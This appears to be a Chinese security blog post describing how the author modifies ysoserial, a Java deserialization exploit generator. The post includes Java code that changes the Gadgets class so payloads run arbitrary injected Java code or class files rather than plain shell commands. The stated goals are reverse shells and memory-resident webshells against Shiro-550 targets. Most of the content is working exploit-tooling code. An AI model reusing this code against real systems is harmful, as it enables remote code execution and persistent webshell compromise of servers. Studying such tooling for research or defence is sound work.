ysoserial 改写心得
Drunkbaby Lv6

ysoserial 改写心得

0x01 前言

终于还是要对这玩意儿动手了啊,自己打算从 0.9 到 1 完成改写,不看其他师傅的文章,进行独立分析。(最后还是参考了哈哈哈,我太菜了)

0x02 结构/代码分析

几个文件夹,先看 payloads

  • payloads 文件夹

payloads 文件夹里面是我们平常写的 EXP,运行如图

并且它会打印如下语句

这里的 calc.exe 实际上是因为在 ysoserial.payloads.util 的 PayloadRunner 类中的 getDefaultTestCmd 方法,定义了最开始的值。

  • util 文件夹

里面都是一些工具类,比如在 Gadgets 类里面,有创建字节码,创建动态代理的方法。

  • Annotation 文件夹

里面是一些声明,比如 Authors 这些

  • exploit 文件夹

里面放了一些直接调用的 EXP

  • 文件夹外的几个类

GeneratePayload.java 生成 poc 的入口函数
Deserializer.java 反序列化模块
Serializer.java 序列化模块
Strings.java 字符处理模块

0x03 改写 yso 的出发点

改写

1、将原本的命令执行 payload 变成写入内存马。
2、解决 shiro550 serializeID 不一样的问题。

首先在 Gadgets 类里面,有这么一段话

1
TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

此处本身是命令执行的方式 Runtime.getRuntime.exec("cmd"),这一定并非是我们最想要的,所以要将其进行改写,把命令执行的方式改成执行代码块的方式,先从简单的弹 shell 开始,到后面打内存马。

参考 c0ny1 师傅的文章 http://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/

我这边添加了四种方式

序号 方式 描述
1 “code:代码内容” 代码量比较少时采用
2 “codebase64:代码内容base64编码” 防止代码中存在但引号,双引号,&等字符与控制台命令冲突。
3 “codefile:代码文件路径” 代码量比较多时采用
4 “classfile:class路径“ 利用已生成好的 class 直接获取其字节码

通过在输入的 command 前添加前缀,根据不同前缀进行不同的处理方式

这其中 code codebase codefile 前缀的都是插入代码,然后动态生成 templates

classfile 则是直接读取 class 文件中的字节码动态生成 templates(感觉实际情况里面用到这种相当多)

所以其实 ysoserial 的初步改写就是去改写这一段内容,进行 cmd 的不同程度的利用即可。

先写一个 CmdUtils,用来处理字节码,以及 .class 类型的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package ysoserial.payloads.util;  

import java.io.*;

public class CmdUtils {

public static String readStringFromInputStream(InputStream inputStream) throws Exception{
StringBuilder stringBuilder = new StringBuilder("");
byte[] bytes = new byte[1024];
int n = 0;
while ((n=inputStream.read(bytes)) != -1){
stringBuilder.append(new String(bytes,0,n));
}
return stringBuilder.toString();
}

public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}


public static byte[] readClassByte(String filename) throws IOException{
File f = new File(filename);
if (!f.exists()) {
throw new FileNotFoundException(filename);
}
ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());
BufferedInputStream in = null;
try {
in = new BufferedInputStream(new FileInputStream(f));
int buf_size = 1024;
byte[] buffer = new byte[buf_size];
int len = 0;
while (-1 != (len = in.read(buffer, 0, buf_size))) {
bos.write(buffer, 0, len);
}
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
throw e;
} finally {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
bos.close();
}
}

public static String getCodeFile(String codefile) {
try{
File file = new File(codefile);
if (file.exists()){
FileReader reader = new FileReader(file);
BufferedReader bufferedReader = new BufferedReader(reader);
StringBuilder sb = new StringBuilder("");
String line = "";
while ((line=bufferedReader.readLine()) != null){
sb.append(line);
sb.append("\r\n");
}
return sb.toString();
} else {
System.err.println(String.format("[-] %s is not exists!",codefile));
System.exit(0);
return null;
}
} catch (Exception e){
e.printStackTrace();
return null;
}
}
}

接着改写 Gadgets 类,增添如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
byte[] classBytes = null;  
String cmd = "";
if (command.startsWith("code:")){
cmd = command.substring(5);
} else if (command.startsWith("codebase64:")){
byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11));
cmd = new String(decode);
} else if (command.startsWith("codefile:")){
String codefile = command.substring(9);
cmd = CmdUtils.getCodeFile(codefile);
// 指定了 class文件之后 直接读取字节码
} else if (command.startsWith("classfile:")){
String classfile = command.substring(10);
classBytes = CmdUtils.readClassByte(classfile);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
Reflections.setFieldValue(templates, "_name", "Pwnr");
return templates;
} else {
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

至此,我们基本的需求是没问题了,但是还差很多,比如 shiro550 的内存马,比如 SerialVersionID 的问题,比如 Tomcat Header 缩短的问题都亟待解决,

解决问题

Tomcat Header 的限制

这个其实好解决,可以用之前在 《Java 回显技术》一文当中的缩短 Tomcat Shiro Header 的方法,此处不再提及,还有 Y4tacker 师傅分享的缩短 Header 的方法,挂个链接,之后再看。

https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8D%E7%AA%81%E7%A0%B4/

感觉自己开发基本功不好,暂且咕咕咕了。

 评论